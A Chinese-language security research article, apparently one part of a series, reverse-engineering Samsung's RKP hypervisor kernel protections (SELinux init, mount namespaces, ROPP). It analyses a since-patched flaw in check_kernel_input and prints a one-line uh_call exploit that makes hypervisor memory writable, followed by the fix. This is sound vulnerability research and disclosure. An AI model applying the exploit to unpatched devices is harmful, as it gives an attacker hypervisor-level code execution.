在本系列文章中,我们将为读者深入讲解三星手机的内核防护技术。在上一篇文章中,我们为读者详细介绍了RKP内核保护机制是如何处理安全凭证的,在本文中,将继续为读者呈现更多精彩内容!
SELinux初始化
RKP同时也会为全局变量ss_initialized提供相应的保护,该变量被内核用来指示SELinux是否已经被初始化。内核会在security_load_policy函数中调用RKP将其设置为1,之所以这么做,可能是因为在之前的RKP绕过方法中,它被用来禁用SELinux。
int security_load_policy(void *data, size_t len)
{
// ...
uh_call(UH_APP_RKP, RKP_KDP_X60, (u64)&ss_initialized, 1, 0, 0);
// ...
}
在管理程序端,rkp_cmd_selinux_initialized函数将调用rkp_selinux_initialized函数。
int64_t rkp_cmd_selinux_initialized(saved_regs_t* regs) {
rkp_selinux_initialized(regs);
return 0;
}
void rkp_selinux_initialized(saved_regs_t* regs) {
// ...
ss_initialized_va = regs->x2;
value = regs->x3;
ss_initialized = rkp_get_pa(ss_initialized_va);
if (ss_initialized) {
if (ss_initialized_va < SRODATA || ss_initialized_va > ERODATA) {
rkp_policy_violation("RKP_ba9b5794 %lxRKP_69d2a377%lx, %lxRKP_ba5ec51d", ss_initialized_va);
} else if (ss_initialized == rkp_cred->SS_INITIALIZED_VA) {
if (value == 1) {
*ss_initialized = value;
uh_log('L', "rkp_kdp.c", 1199, "RKP_3a152688 %d", 1);
} else {
rkp_policy_violation("RKP_3ba4a93d");
}
} else if (ss_initialized == rkp_cred->SELINUX) {
if (value == 1 || *ss_initialized != 1) {
*ss_initialized = value;
uh_log('L', "rkp_kdp.c", 1212, "RKP_8df36e46 %d", value);
} else {
rkp_policy_violation("RKP_cef38ae5");
}
} else {
rkp_policy_violation("RKP_ced87e02");
}
} else {
uh_log('L', "rkp_kdp.c", 1181, "RKP_0a7ac3b1\n");
}
}
rkp_selinux_initialized将执行下列操作:
- 检查ss_initialized是否位于.rodata区段。
- 它只允许将其设置为1,否则会触发违规。
保护挂载命名空间
相关的内核结构体
与凭证类似,struct vfsmount也被分配到只读内存页面中。此外,这个结构体还具有一个新的字段,用于存储一个反向指针,该指针指向拥有该结构体的struct mount。
// from include/linux/mount.h
struct vfsmount {
// ...
struct mount *bp_mount; /* pointer to mount*/
// ...
} __randomize_layout;
对于每个SELinux hook,也会通过调用security_integrity_current对这个值进行相应的验证。
// from fs/namespace.c
extern u8 ns_prot;
unsigned int cmp_ns_integrity(void)
{
struct mount *root = NULL;
struct nsproxy *nsp = NULL;
int ret = 0;
if((in_interrupt()
|| in_softirq())){
return 0;
}
nsp = current->nsproxy;
if(!ns_prot || !nsp ||
!nsp->mnt_ns) {
return 0;
}
root = current->nsproxy->mnt_ns->root;
if(root != root->mnt->bp_mount){
printk("\n RKP44_3 Name Space Mismatch %p != %p\n nsp = %p mnt_ns %p\n",root,root->mnt->bp_mount,nsp,nsp->mnt_ns);
ret = 1;
}
return ret;
}
// from security/selinux/hooks.c
int security_integrity_current(void)
{
// ...
if ( rkp_cred_enable &&
// ...
cmp_ns_integrity())) {
// ...
}
// ...
}
我们可以看到,cmp_ns_integrity函数会检查反向指针是否有效。
命名空间初始化
当内核在fs/namespace.c的alloc_vfsmnt中分配一个新的挂载命名空间时,会对RKP进行调用,以初始化struct vfsmount的反向指针。
// from fs/namespace.c
void rkp_init_ns(struct vfsmount *vfsmnt,struct mount *mnt)
{
uh_call(UH_APP_RKP, RKP_KDP_X52, (u64)vfsmnt, (u64)mnt, 0, 0);
}
static int mnt_alloc_vfsmount(struct mount *mnt)
{
struct vfsmount *vfsmnt = NULL;
vfsmnt = kmem_cache_alloc(vfsmnt_cache, GFP_KERNEL);
if(!vfsmnt)
return 1;
spin_lock(&mnt_vfsmnt_lock);
rkp_init_ns(vfsmnt,mnt);
//vfsmnt->bp_mount = mnt;
mnt->mnt = vfsmnt;
spin_unlock(&mnt_vfsmnt_lock);
return 0;
}
static struct mount *alloc_vfsmnt(const char *name)
{
// ...
err = mnt_alloc_vfsmount(mnt);
if (err)
goto out_free_cache;
// ...
}
在管理程序端,rkp_cmd_init_ns函数将调用rkp_init_ns函数。
int64_t rkp_cmd_init_ns(saved_regs_t* regs) {
rkp_init_ns(regs);
return 0;
}
int64_t chk_invalid_ns(uint64_t vfsmnt) {
if (!vfsmnt || vfsmnt != vfsmnt / rkp_cred->NS_BUFF_SIZE * rkp_cred->NS_BUFF_SIZE)
return 1;
rkp_phys_map_lock(vfsmnt);
if (!is_phys_map_ns(vfsmnt)) {
uh_log('L', "rkp_kdp.c", 882, "Name space physmap verification failed !!!!! %lx", vfsmnt);
rkp_phys_map_unlock(vfsmnt);
return 1;
}
rkp_phys_map_unlock(vfsmnt);
return 0;
}
void rkp_init_ns(saved_regs_t* regs) {
// ...
vfsmnt = rkp_get_pa(regs->x2);
if (!chk_invalid_ns(vfsmnt)) {
memset(vfsmnt, 0, rkp_cred->NS_SIZE);
*(vfsmnt + 8 * rkp_cred->BPMNT_VFSMNT_OFFSET) = regs->x3;
}
}
其中,函数rkp_init_ns将调用chk_invalid_ns函数,检查struct vfsmount在physmap中是否被标记为NS,以及是否符合预期大小。如果符合,则使用memset函数对其进行处理,并将反向指针设置为所属的struct mount。
设置相关字段
为了设置struct vfsmount的相关字段,内核将再次调用RKP。
为此,将调用以下内核和管理程序函数:
在内核端,相关的函数如下所示:
// from fs/namespace.c
void rkp_set_mnt_root_sb(struct vfsmount *mnt,struct dentry *mnt_root,struct super_block *mnt_sb)
{
uh_call(UH_APP_RKP, RKP_KDP_X53, (u64)mnt, (u64)mnt_root, (u64)mnt_sb, 0);
}
void rkp_assign_mnt_flags(struct vfsmount *mnt,int flags)
{
uh_call(UH_APP_RKP, RKP_KDP_X54, (u64)mnt, (u64)flags, 0, 0);
}
void rkp_set_data(struct vfsmount *mnt,void *data)
{
uh_call(UH_APP_RKP, RKP_KDP_X55, (u64)mnt, (u64)data, 0, 0);
}
void rkp_set_mnt_flags(struct vfsmount *mnt,int flags)
{
int f = mnt->mnt_flags;
f |= flags;
rkp_assign_mnt_flags(mnt,f);
}
void rkp_reset_mnt_flags(struct vfsmount *mnt,int flags)
{
int f = mnt->mnt_flags;
f &= ~flags;
rkp_assign_mnt_flags(mnt,f);
}
在管理程序端,相关的函数如下所示:
int64_t rkp_cmd_ns_set_root_sb(saved_regs_t* regs) {
rkp_ns_set_root_sb(regs);
return 0;
}
void rkp_ns_set_root_sb(saved_regs_t* regs) {
// ...
vfsmnt = rkp_get_pa(regs->x2);
if (!chk_invalid_ns(vfsmnt)) {
*vfsmnt = regs->x3;
*(vfsmnt + 8 * rkp_cred->SB_VFSMNT_OFFSET) = regs->x4;
}
}
int64_t rkp_cmd_ns_set_flags(saved_regs_t* regs) {
rkp_ns_set_flags(regs);
return 0;
}
void rkp_ns_set_flags(saved_regs_t* regs) {
// ...
vfsmnt = rkp_get_pa(regs->x2);
if (!chk_invalid_ns(vfsmnt))
*(vfsmnt + 4 * rkp_cred->FLAGS_VFSMNT_OFFSET) = regs->x3;
}
int64_t rkp_cmd_ns_set_data(saved_regs_t* regs) {
rkp_ns_set_data(regs);
return 0;
}
void rkp_ns_set_data(saved_regs_t* regs) {
// ...
vfsmnt = rkp_get_pa(regs->x2);
if (!chk_invalid_ns(vfsmnt))
*(vfsmnt + 8 * rkp_cred->DATA_VFSMNT_OFFSET) = regs->x3;
}
每一个函数在设置其字段之前都会调用chk_invalid_ns函数来检查该结构体是否有效。
新建挂载点
最后一条命令是在创建一个新的挂载点时调用的,具体代码如下所示:
// from fs/namespace.c
#define KDP_MOUNT_ROOTFS "/root" //system-as-root
#define KDP_MOUNT_ROOTFS_LEN strlen(KDP_MOUNT_ROOTFS)
#define KDP_MOUNT_PRODUCT "/product"
#define KDP_MOUNT_PRODUCT_LEN strlen(KDP_MOUNT_PRODUCT)
#define KDP_MOUNT_SYSTEM "/system"
#define KDP_MOUNT_SYSTEM_LEN strlen(KDP_MOUNT_SYSTEM)
#define KDP_MOUNT_VENDOR "/vendor"
#define KDP_MOUNT_VENDOR_LEN strlen(KDP_MOUNT_VENDOR)
#define KDP_MOUNT_ART "/apex/com.android.runtime"
#define KDP_MOUNT_ART_LEN strlen(KDP_MOUNT_ART)
#define KDP_MOUNT_ART2 "/com.android.runtime@1"
#define KDP_MOUNT_ART2_LEN strlen(KDP_MOUNT_ART2)
#define ART_ALLOW 2
enum kdp_sb {
KDP_SB_ROOTFS = 0,
KDP_SB_ODM,
KDP_SB_SYS,
KDP_SB_VENDOR,
KDP_SB_ART,
KDP_SB_MAX
};
int art_count = 0;
static void rkp_populate_sb(char *mount_point, struct vfsmount *mnt)
{
if (!mount_point || !mnt)
return;
if (!odm_sb &&
!strncmp(mount_point, KDP_MOUNT_PRODUCT, KDP_MOUNT_PRODUCT_LEN)) {
uh_call(UH_APP_RKP, RKP_KDP_X56, (u64)&odm_sb, (u64)mnt, KDP_SB_ODM, 0);
} else if (!rootfs_sb &&
!strncmp(mount_point, KDP_MOUNT_ROOTFS, KDP_MOUNT_ROOTFS_LEN)) {
uh_call(UH_APP_RKP, RKP_KDP_X56, (u64)&rootfs_sb, (u64)mnt, KDP_SB_SYS, 0);
} else if (!sys_sb &&
!strncmp(mount_point, KDP_MOUNT_SYSTEM, KDP_MOUNT_SYSTEM_LEN)) {
uh_call(UH_APP_RKP, RKP_KDP_X56, (u64)&sys_sb, (u64)mnt, KDP_SB_SYS, 0);
} else if (!vendor_sb &&
!strncmp(mount_point, KDP_MOUNT_VENDOR, KDP_MOUNT_VENDOR_LEN)) {
uh_call(UH_APP_RKP, RKP_KDP_X56, (u64)&vendor_sb, (u64)mnt, KDP_SB_VENDOR, 0);
} else if (!art_sb &&
!strncmp(mount_point, KDP_MOUNT_ART, KDP_MOUNT_ART_LEN - 1)) {
uh_call(UH_APP_RKP, RKP_KDP_X56, (u64)&art_sb, (u64)mnt, KDP_SB_ART, 0);
} else if ((art_count < ART_ALLOW) &&
!strncmp(mount_point, KDP_MOUNT_ART2, KDP_MOUNT_ART2_LEN - 1)) {
if (art_count)
uh_call(UH_APP_RKP, RKP_KDP_X56, (u64)&art_sb, (u64)mnt, KDP_SB_ART, 0);
art_count++;
}
}
static int do_new_mount(struct path *path, const char *fstype, int sb_flags,
int mnt_flags, const char *name, void *data)
{
// ...
buf = kzalloc(PATH_MAX, GFP_KERNEL);
if (!buf){
kfree(buf);
return -ENOMEM;
}
dir_name = dentry_path_raw(path->dentry, buf, PATH_MAX);
if(!sys_sb || !odm_sb || !vendor_sb || !rootfs_sb || !art_sb || (art_count < ART_ALLOW))
rkp_populate_sb(dir_name,mnt);
kfree(buf);
// ...
}
之后,函数do_mount将调用do_new_mount函数,后者会继续调用rkp_populate_sb函数。这个函数将根据特定的路径检查挂载点的路径是否相符,然后调用RKP。
预定义路径包括:
/root
/product
/system
/vendor
/apex/com.android.runtime
/com.android.runtime@1
在管理程序端,rkp_cmd_ns_set_sys_vfsmnt函数将调用rkp_ns_set_sys_vfsmnt函数。
int64_t rkp_cmd_ns_set_sys_vfsmnt(saved_regs_t* regs) {
rkp_ns_set_sys_vfsmnt(regs);
return 0;
}
void* rkp_ns_set_sys_vfsmnt(saved_regs_t* regs) {
// ...
if (!rkp_cred) {
uh_log('W', "rkp_kdp.c", 931, "RKP_ae6cae81");
return;
}
art_sb = rkp_get_pa(regs->x2);
vfsmnt = rkp_get_pa(regs->x3);
mount_point = regs->x4;
if (!vfsmnt || chk_invalid_ns(vfsmnt) || mount_point >= KDP_SB_MAX) {
uh_log('L', "rkp_kdp.c", 945, "Invalidsource vfsmnt%lx %lx %lx\n", regs->x3, vfsmnt, mount_point);
return;
}
if (!art_sb) {
uh_log('L', "rkp_kdp.c", 956, "dst_sb is NULL %lx %lx %lx\n", regs->x2, 0, regs->x3);
return;
}
mnt_sb = *(vfsmnt + 8 * rkp_cred->SB_VFSMNT_OFFSET);
*art_sb = mnt_sb;
switch (mount_point) {
case KDP_SB_ROOTFS:
*rkp_cred->SB_ROOTFS = mnt_sb;
break;
case KDP_SB_ODM:
*rkp_cred->SB_ODM = mnt_sb;
break;
case KDP_SB_SYS:
*rkp_cred->SB_SYS = mnt_sb;
break;
case KDP_SB_VENDOR:
*rkp_cred->SB_VENDOR = mnt_sb;
break;
case KDP_SB_ART:
*rkp_cred->SB_ART = mnt_sb;
break;
}
}
函数rkp_ns_set_sys_vfsmnt将执行下列操作:
- 对参数进行相应的安全检查。
- 调用chk_invalid_ns函数,检查struct vfsmount是否有效。
- 将内核的某个全局变量设置为struct vfsmount的mnt_sb字段的值,这些变量可能是:
- odm_sb、rootfs_sb、sys_sb、vendor_sb或art_sb。
- 将某个结构体rkp_cred的一个字段设置为相同的值,这些字段可能是:
- SB_ROOTFS、SB_ODM、SB_SYS、SB_VENDOR或SB_ART。
可执行文件的加载
挂载命名空间保护机制完成的最后一项检查是由fs/exec.c中的flush_old_exec函数中完成的。这个函数将被load_elf_binary函数调用,之所以这么做,可能是为了防止call_usermodehelper被滥用,因为之前它曾被用于绕过RKP机制。
// from fs/exec.c
static int kdp_check_sb_mismatch(struct super_block *sb)
{
if(is_recovery || __check_verifiedboot) {
return 0;
}
if((sb != rootfs_sb) && (sb != sys_sb)
&& (sb != odm_sb) && (sb != vendor_sb) && (sb != art_sb)) {
return 1;
}
return 0;
}
static int invalid_drive(struct linux_binprm * bprm)
{
struct super_block *sb =NULL;
struct vfsmount *vfsmnt = NULL;
vfsmnt = bprm->file->f_path.mnt;
if(!vfsmnt ||
!rkp_ro_page((unsigned long)vfsmnt)) {
printk("\nInvalid Drive #%s# #%p#\n",bprm->filename, vfsmnt);
return 1;
}
sb = vfsmnt->mnt_sb;
if(kdp_check_sb_mismatch(sb)) {
printk("\n Superblock Mismatch #%s# vfsmnt #%p#sb #%p:%p:%p:%p:%p:%p#\n",
bprm->filename, vfsmnt, sb, rootfs_sb, sys_sb, odm_sb, vendor_sb, art_sb);
return 1;
}
return 0;
}
#define RKP_CRED_SYS_ID 1000
static int is_rkp_priv_task(void)
{
struct cred *cred = (struct cred *)current_cred();
if(cred->uid.val <= (uid_t)RKP_CRED_SYS_ID || cred->euid.val <= (uid_t)RKP_CRED_SYS_ID ||
cred->gid.val <= (gid_t)RKP_CRED_SYS_ID || cred->egid.val <= (gid_t)RKP_CRED_SYS_ID ){
return 1;
}
return 0;
}
int flush_old_exec(struct linux_binprm * bprm)
{
// ...
if(rkp_cred_enable &&
is_rkp_priv_task() &&
invalid_drive(bprm)) {
panic("\n KDP_NS_PROT: Illegal Execution of file #%s#\n", bprm->filename);
}
// ...
}
之后,函数flush_old_exec将会调用is_rkp_priv_task函数,检查请求执行二进制的任务是否具有合适的权限(ID < 1000)。如果具有相应的权限的话,则调用invalid_drive函数,对二进制文件的挂载点进行相应的检查。
函数invalid_drive检查挂载点结构是否受RKP保护(必须是只读的)。如果设备不是在恢复模式下运行,也没有被解锁,则检查它是否位于预定义路径列表中。
JOPP/ROPP命令
我们前面说过,ROPP只在高端骁龙设备上启用。所以,在这一小节中,我们将关注Snapdragon设备的内核源码和RKP二进制代码。
我们知道,S-Boot/引导加载器很有可能会调用函数rkp_cmd_jopp_init和rkp_cmd_ropp_init。
int64_t rkp_cmd_jopp_init() {
uh_log('L', "rkp.c", 502, "CFP JOPP Enabled");
return 0;
}
int64_t rkp_cmd_ropp_init(saved_regs_t* regs) {
// ...
something = virt_to_phys_el1(regs->x2);
if (*something == 0x4A4C4955) {
memcpy(0xB0240020, something, 80);
if (MEMORY[0x80001000] == 0xCDEFCDEF)
memcpy(0x80001020, something, 80);
uh_log('L', "rkp.c", 529, "CFP ROPP Enabled");
} else {
uh_log('W', "rkp.c", 515, "RKP_e08bc280");
}
return 0;
}
实际上,函数rkp_cmd_jopp_init基本上什么都没做。而函数rkp_cmd_ropp_init则检查作为参数的结构体是否以它所期望的魔术值 (0x4A4C4955) 开头。如果是,则将其复制到0xB0240020处。如果在0x80001000处的内存与另一个魔术值(0xCDEFCDEF)匹配,则还会将结构体内容复制到0x80001020处。
另外,函数rkp_cmd_ropp_save可能是由S-Boot/引导加载器调用的,而函数rkp_cmd_ropp_reload则是由arch/arm64/kernel/head.S的__secondary_switched中的内核代码调用的。
// from arch/arm64/include/asm/rkp_cfp.h
/*
* secondary core will start a forked thread, so rrk is already enc'ed
* so only need to reload the master key and thread key
*/
.macro ropp_secondary_init ti
reset_sysreg
//load master key from rkp
ropp_load_mk
//load thread key
ropp_load_key \ti
.endm
.macro ropp_load_mk
#ifdef CONFIG_UH
pushx0, x1
pushx2, x3
pushx4, x5
mov x1, #0x10 //RKP_ROPP_RELOAD
mov x0, #0xc002 //UH_APP_RKP
movkx0, #0xc300, lsl #16
smc #0x0
pop x4, x5
pop x2, x3
pop x0, x1
#else
pushx0, x1
ldr x0, = ropp_master_key
ldr x0, [x0]
msr RRMK, x0
pop x0, x1
#endif
.endm
// from arch/arm64/kernel/head.S
__secondary_switched:
// ...
ropp_secondary_init x2
// ...
ENDPROC(__secondary_switched)
int64_t rkp_cmd_ropp_save() {
return 0;
}
int64_t rkp_cmd_ropp_reload() {
set_dbgbvr5_el1(MEMORY[0xB0240028]);
return 0;
}
rkp_cmd_ropp_save函数实际上没有做任何事情,而函数rkp_cmd_ropp_reload则只是简单地将DBGBVR5_EL1(存放RRMK的系统寄存器,即主密钥)设置为 0xB0240028处的值。
漏洞简介
在本节中,我们将介绍一个现已修复的漏洞,攻击者可以利用该漏洞在EL2上运行代码。我们将在Exynos设备上利用这个漏洞,但该方法应该也适用于Snapdragon设备。
以下是我们正在研究的二进制文件的一些信息:
- Exynos设备:Samsung A51 (SM-A515F)
- 固件版本:A515FXXU3BTF4
- 管理程序版本:2020年2月27日
- Snapdragon设备:Samsung Galaxy S10 (SM-G973U)
- 固件版本:G973USQU4ETH7
- 管理程序版本:2020年2月25日
漏洞分析
您可能注意到,有两个重要函数我们还没有详细说明:uh_log和rkp_get_pa。
int64_t uh_log(char level, const char* filename, uint32_t linenum, const char* message, ...) {
// ...
// ...
if (level == 'D')
uh_panic();
return res;
}
函数uh_log除了完成一些相当标准的字符串格式化和打印操作外,还能处理其他一些事情。如果作为第一个参数给出的日志级别是“D”,那么它还会调用uh_panic函数。这一点稍后会变得非常重要。
现在让我们来看看rkp_get_pa(许多命令处理程序都会调用它,以对内核输入进行相应的检查):
int64_t rkp_get_pa(uint64_t vaddr) {
// ...
if (!vaddr)
return 0;
if (vaddr < 0xFFFFFFC000000000) {
paddr = virt_to_phys_el1(vaddr);
if (!paddr) {
if ((vaddr & 0x4000000000) != 0)
paddr = PHYS_OFFSET + (vaddr & 0x3FFFFFFFFF);
else
paddr = vaddr - KIMAGE_VOFFSET;
}
} else {
paddr = PHYS_OFFSET + (vaddr & 0x3FFFFFFFFF);
}
check_kernel_input(paddr);
return paddr;
}
如果地址不在fixmap区域中,它将调用virt_to_phys_el1函数。如果转换失败,它将利用kimage_voffset计算该地址。相反,如果地址位于fixmap区域中,它将利用phys_offset计算该地址。最后,它会调用check_kernel_input函数,检查是否允许使用这个地址。
int64_t virt_to_phys_el1(int64_t vaddr) {
// ...
if (vaddr) {
at_s12e1r(vaddr);
par_el1 = get_par_el1();
if ((par_el1 & 1) != 0) {
at_s12e1w(vaddr);
par_el1 = get_par_el1();
}
if ((par_el1 & 1) != 0) {
if ((get_sctlr_el1() & 1) != 0) {
uh_log('W', "general.c", 128, "%s: wrong address %p", "virt_to_phys_el1", vaddr);
if (!has_printed_stack_contents) {
has_printed_stack_contents = 1;
print_stack_contents();
}
has_printed_stack_contents = 0;
}
vaddr = 0;
} else {
vaddr = par_el1 & 0xFFFFFFFFF000 | vaddr & 0xFFF;
}
}
return vaddr;
}
virt_to_phys_el1使用AT S12E1R(EL1中的第1和2阶段的读权限)和AT S12E1W(EL1中的第1和2阶段的些权限)来获取物理地址。如果失败,而MMU又被启用,它将打印输出堆栈中的内容。
int64_t check_kernel_input(uint64_t paddr) {
// ...
res = memlist_contains_addr(&protected_ranges, paddr);
if (res)
res = uh_log('L', "pa_restrict.c", 94, "Error kernel input falls into uH range, pa_from_kernel : %lx", paddr);
return res;
}
函数check_kernel_input将检查protected_ranges memlist中是否包含下面所示的物理地址:
- 0x87000000-0x87200000 (uH区段) ,这是在pa_restrict_init函数中添加的。
- physmap的所有bitmap,这是在init_cmd_initialize_dynamic_heap函数中添加的。
也就是说,它会检查我们是否试图提供一个位于uH内存区域中的地址,但如果检查失败,它就会调用uh_log函数,并以“L”作为第一个参数。从uh_log函数返回后,会继续执行,就像什么也没发生过一样。然而,这个简单的漏洞的影响却是非常巨大的:我们可以给所有命令处理程序提供管理程序内存中的地址。
漏洞利用方法
利用这个漏洞的方法非常简单,只要用正确的参数调用其中一个命令处理程序即可。例如,我们可以使用命令#5(名为RKP_CMD_WRITE_PGT3),因为它将调用我们前面看到的rkp_l3pgt_write函数。现在,我们只需要确定要写入的内容,以及写到哪里就可以了。
在我们的单行exploit中,我们的目标是第2阶段页表,并添加一个跨越管理程序内存区域的2级块描述符。通过将S2AP位设置为0b11,该内存区域就变为可写的,此外,由于s1_enable中设置的WXN位只适用于EL2中的AT,我们可以随意修改管理程序的代码。
下面是这个exploit的全貌:
uh_call(UH_APP_RKP, RKP_CMD_WRITE_PGT3, 0xffffffc00702a1c0, 0x870004fd);
安全补丁
我们注意到,2020年5月27号之后构建的二进制文件中包含了针对该漏洞的补丁,但我们不知道是个人披露的还是内部发现的。它适用于使用Exynos和Snapdragon芯片组的设备。
让我们来看看我们的研究设备可用的最新固件更新,看看有哪些变化。
int64_t check_kernel_input(uint64_t paddr) {
// ...
res = memlist_contains_addr(&protected_ranges, paddr);
if (res) {
uh_log('L', "pa_restrict.c", 94, "Error kernel input falls into uH range, pa_from_kernel : %lx", paddr);
uh_log('D', "pa_restrict.c", 96, "Error kernel input falls into uH range, pa_from_kernel : %lx", paddr);
}
return res;
}
有趣的是,它们不是简单地更改日志级别,而是重复调用uh_log。虽然这种做法很奇怪,但至少管用了。我们还注意到,它们还在rkp_get_pa中添加了一些额外的检查:
int64_t rkp_get_pa(uint64_t vaddr) {
// ...
if (!vaddr)
return 0;
if (vaddr < 0xFFFFFFC000000000) {
paddr = virt_to_phys_el1(vaddr);
if (!paddr) {
if ((vaddr & 0x4000000000) != 0)
paddr = PHYS_OFFSET + (vaddr & 0x3FFFFFFFFF);
else
paddr = vaddr - KIMAGE_VOFFSET;
}
} else {
paddr = PHYS_OFFSET + (vaddr & 0x3FFFFFFFFF);
}
check_kernel_input(paddr);
if (!memlist_contains_addr(&uh_state.dynamic_regions, paddr)) {
uh_log('L', "rkp_paging.c", 70, "RKP_68592c58 %lx", paddr);
uh_log('D', "rkp_paging.c", 71, "RKP_68592c58 %lx", paddr);
}
return paddr;
}
小结
我们来回顾一下三星RKP提供的各种保护措施:
页表不能被内核直接修改。
在EL1中,对虚拟内存系统寄存器的访问会被捕获。
页表在第2级地址转换中被设置为只读。
第3级表除外,但在这种情况下,PXNTable位被设置。
双重映射被防止,但检查只由内核完成。
仍然不能使内核的text区段变为可读写的,或让新建的区段变为可执行的。
敏感的内核全局变量被移到.rodata区段(只读)。
敏感的内核数据结构(cred、task_security_struct、vfsmount)因为三星对SLUB分配器的修改而被分配在只读页面。
在各种操作中,会检查正在运行的任务的凭证。
非系统权限的任务不能直接赋予系统或root权限。
可以设置task_struct的cred字段。
但下一个操作(如执行shell)将触发违规。
凭证也会被计算引用次数,以防止它们被另一个任务重复使用。
不可能在特定挂载点之外以root身份执行二进制文件。
在Snapdragon设备上,RKP也会启用ROPP。
通过这次对RKP的深入研究,我们已经看到,安全管理程序可以像其他深度防御机制一样,通过增加攻击者在内核中获得读写权限的难度来帮助保护内核。但对于这种庞大的工程来说,在实现过程中很难避免不会出错。
关于RKP机制,仍有很多东西在本文中没有谈到,但是,我们打算专门写一篇文章进行介绍。在将来的文章中,我们将为读者讲解目前尚不能公开的、未修补的漏洞,更详细地解释Exynos和Snapdragon实现的差异,深入考察S20的新框架和特性,等等。
参考资料
Lifting the (Hyper) Visor: Bypassing Samsung’s Real-Time Kernel Protection
Samsung: RKP Memory Corruption in “rkp_mark_adbd”
Samsung: RKP Memory Corruption in “cfp_ropp_new_key_reenc” and “cfp_ropp_new_key”
Samsung: RKP privilege escalation via unprotected MSRs in EL1 to memory management control registers
Samsung: RKP EL1 Code Loading Bypass
Samsung: RKP information disclosure via s2-remapping physical ranges
Samsung: RKP Memory Corruption via “rkp_set_init_page_ro”
Samsung: RKP kernel protection bypass via lack of MSR trapping on Qualcomm devices
Hypervisor Necromancy; Reanimating Kernel Protectors
Emulating Hypervisors: A Samsung RKP Case Study
Defeating Samsung KNOX with zero privilege
New Reliable Android Kernel Root Exploitation
KNOX Kernel Mitigation Bypasses